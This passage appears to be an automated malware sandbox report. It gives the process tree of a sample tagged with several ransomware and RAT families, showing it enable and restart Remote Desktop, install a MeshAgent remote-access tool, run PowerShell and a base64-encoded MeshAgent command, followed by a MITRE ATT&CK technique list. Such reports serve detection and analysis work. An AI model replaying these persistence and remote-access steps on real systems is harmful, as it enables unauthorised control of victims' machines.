    3⤵
    - Discovers running processes
    PID:4796
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:2308
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:3496
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:4136
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:3188
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:4384
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:3796
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:5060
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:2404
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:4620
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    - Discovers running processes
    PID:3708
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:4520
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:3900
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:3036
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:2632
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "IMAGENAME eq RuntimeBroker.exetimeout /t 60 /nobreak >nul
    3⤵
    PID:392
- C:\Windows\System32\sc.exe
  "sc" config TermService start= auto
  2⤵
  - Launches sc.exe
  PID:2132
- C:\Windows\System32\sc.exe
  "sc" config TermService start= auto
  2⤵
  - Launches sc.exe
  PID:2840
- C:\Windows\System32\sc.exe
  "sc" stop TermService
  2⤵
  - Launches sc.exe
  PID:4676
- C:\Windows\System32\sc.exe
  "sc" query TermService
  2⤵
  - Launches sc.exe
  PID:4124
- C:\Windows\System32\sc.exe
  "sc" start TermService
  2⤵
  - Launches sc.exe
  PID:4672
- C:\Windows\System32\sc.exe
  "sc" stop TermService
  2⤵
  - Launches sc.exe
  PID:2284
- C:\Windows\System32\sc.exe
  "sc" query TermService
  2⤵
  - Launches sc.exe
  PID:1760
- C:\Windows\System32\sc.exe
  "sc" start TermService
  2⤵
  - Launches sc.exe
  PID:1120

C:\Users\Admin\AppData\Local\SvcCache\2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
C:\Users\Admin\AppData\Local\SvcCache\2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
1⤵
- Executes dropped EXE
PID:2856

C:\Users\Admin\AppData\Local\SvcCache\2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
C:\Users\Admin\AppData\Local\SvcCache\2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
1⤵
- Executes dropped EXE
PID:3352

C:\Program Files\Mesh Agent\MeshAgent.exe
"C:\Program Files\Mesh Agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:4032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4416
- C:\Program Files\Mesh Agent\MeshAgent.exe
  MeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  PID:1500

C:\Program Files\Mesh Agent\MeshAgent.exe
"C:\Program Files\Mesh Agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
PID:2284

C:\Program Files\Mesh Agent\MeshAgent.exe
"C:\Program Files\Mesh Agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4640
- C:\Program Files\Mesh Agent\MeshAgent.exe
  MeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  PID:1396

C:\Program Files\Mesh Agent\MeshAgent.exe
"C:\Program Files\Mesh Agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:4048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2112
- C:\Program Files\Mesh Agent\MeshAgent.exe
  MeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  PID:3048

C:\Program Files\Mesh Agent\MeshAgent.exe
"C:\Program Files\Mesh Agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:1016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2152
- C:\Program Files\Mesh Agent\MeshAgent.exe
  MeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  PID:3536

C:\Program Files\Mesh Agent\MeshAgent.exe
"C:\Program Files\Mesh Agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
PID:176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4724
- C:\Program Files\Mesh Agent\MeshAgent.exe
  MeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  PID:4988

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -s TermService
1⤵
PID:4100

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -s TermService
1⤵
PID:4196

C:\Program Files\Mesh Agent\MeshAgent.exe
"C:\Program Files\Mesh Agent\MeshAgent.exe"
1⤵
PID:2644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4832

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

System Information Discovery

T1082

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion